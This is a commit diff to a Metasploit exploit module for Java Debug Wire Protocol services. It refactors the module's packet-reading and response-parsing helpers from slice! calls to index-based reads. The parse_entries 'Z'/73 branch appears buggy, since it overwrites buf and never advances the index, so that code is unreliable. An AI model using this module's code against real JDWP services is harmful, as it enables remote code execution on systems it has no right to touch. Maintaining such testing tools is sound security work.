removing slice operators from jdwp_debugger

modules/exploits/multi/misc/java_jdwp_debugger.rb

@@ -175,24 +175,18 @@ class MetasploitModule < Msf::Exploit::Remote
     if pkt_len < 4
       fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
     end
-    pkt_len = pkt_len - 4
-
-    response = sock.get_once(pkt_len, timeout)
-    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
-    while response.length < pkt_len
-      partial = sock.get_once(pkt_len, timeout)
-      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
-      response << partial
-    end
-
-    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
-
-    id, flags, err_code = response.unpack('NCn')
-    response.slice!(0..6)
+    id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
     if err_code != 0 && flags == REPLY_PACKET_TYPE
       fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
     end
 
+    response = ""
+    while response.length + 11 < pkt_len
+      partial = sock.get_once(pkt_len, timeout)
+      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
+      response << partial
+    end
+    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
     response
   end
 
@@ -207,8 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Unpacks received string structure from the server response into a normal string
   def read_string(data)
     data_len = data.unpack('N')[0]
-    data.slice!(0..3)
-    return data.slice!(0,data_len)
+    return data[4,data_len]
   end
 
   # Creates a new string object in the target VM and returns its id
@@ -252,10 +245,11 @@ class MetasploitModule < Msf::Exploit::Remote
   # Parses given data according to a set of formats
   def parse_entries(buf, formats, explicit=true)
     entries = []
+    index = 0
 
     if explicit
       nb_entries = buf.unpack('N')[0]
-      buf.slice!(0..3)
+      buf = buf[4..-1]
     else
       nb_entries = 1
     end
@@ -270,25 +264,25 @@ class MetasploitModule < Msf::Exploit::Remote
 
       formats.each do |fmt,name|
         if fmt == "L" || fmt == 8
-          data[name] = buf.unpack('Q>')[0]
-          buf.slice!(0..7)
+          data[name] = buf[index, 8].unpack('Q>')[0]
+          index += 8
         elsif fmt == "I" || fmt == 4
-          data[name] = buf.unpack('N')[0]
-          buf.slice!(0..3)
+          data[name] = buf[index, 4].unpack('N')[0]
+          index += 4
         elsif fmt == "S"
-          data_len = buf.unpack('N')[0]
-          buf.slice!(0..3)
-          data[name] = buf.slice!(0,data_len)
+          data_len = buf[index, 4].unpack('N')[0]
+          data[name] = buf[index + 4, data_len]
+          index += 4 + data_len
         elsif fmt == "C"
-          data[name] = buf.unpack('C')[0]
-          buf.slice!(0)
+          data[name] = buf[index].unpack('C')[0]
+          index += 1
         elsif fmt == "Z"
-          t = buf.unpack('C')[0]
-          buf.slice!(0)
+          t = buf[index].unpack('C')[0]
           if t == 115
-            data[name] = solve_string(buf.slice!(0..7))
+            data[name] = solve_string(buf[index + 1, 8])
+            index += 9
           elsif t == 73
-            data[name], buf = buf.unpack('NN')
+            data[name], buf = buf[index +1, 4].unpack('NN')
           end
         else
           fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
@@ -340,13 +334,13 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(create_packet(ALLTHREADS_SIG))
     response = read_reply
     num_threads = response.unpack('N').first
-    response.slice!(0..3)
+    index = 4
 
     size = @vars["objectid_size"]
     num_threads.times do
-      t_id = unformat(size, response[0..size-1])
+      t_id = unformat(size, response[index, size])
       @threads[t_id] = nil
-      response.slice!(0..size-1)
+      index += size
     end
   end
 
@@ -429,10 +423,8 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "Bad response when getting value for field")
     end
 
-    response.slice!(0..4)
-
     len = @vars["objectid_size"]
-    value = unformat(len, response)
+    value = unformat(len, response[5..-1])
 
     value
   end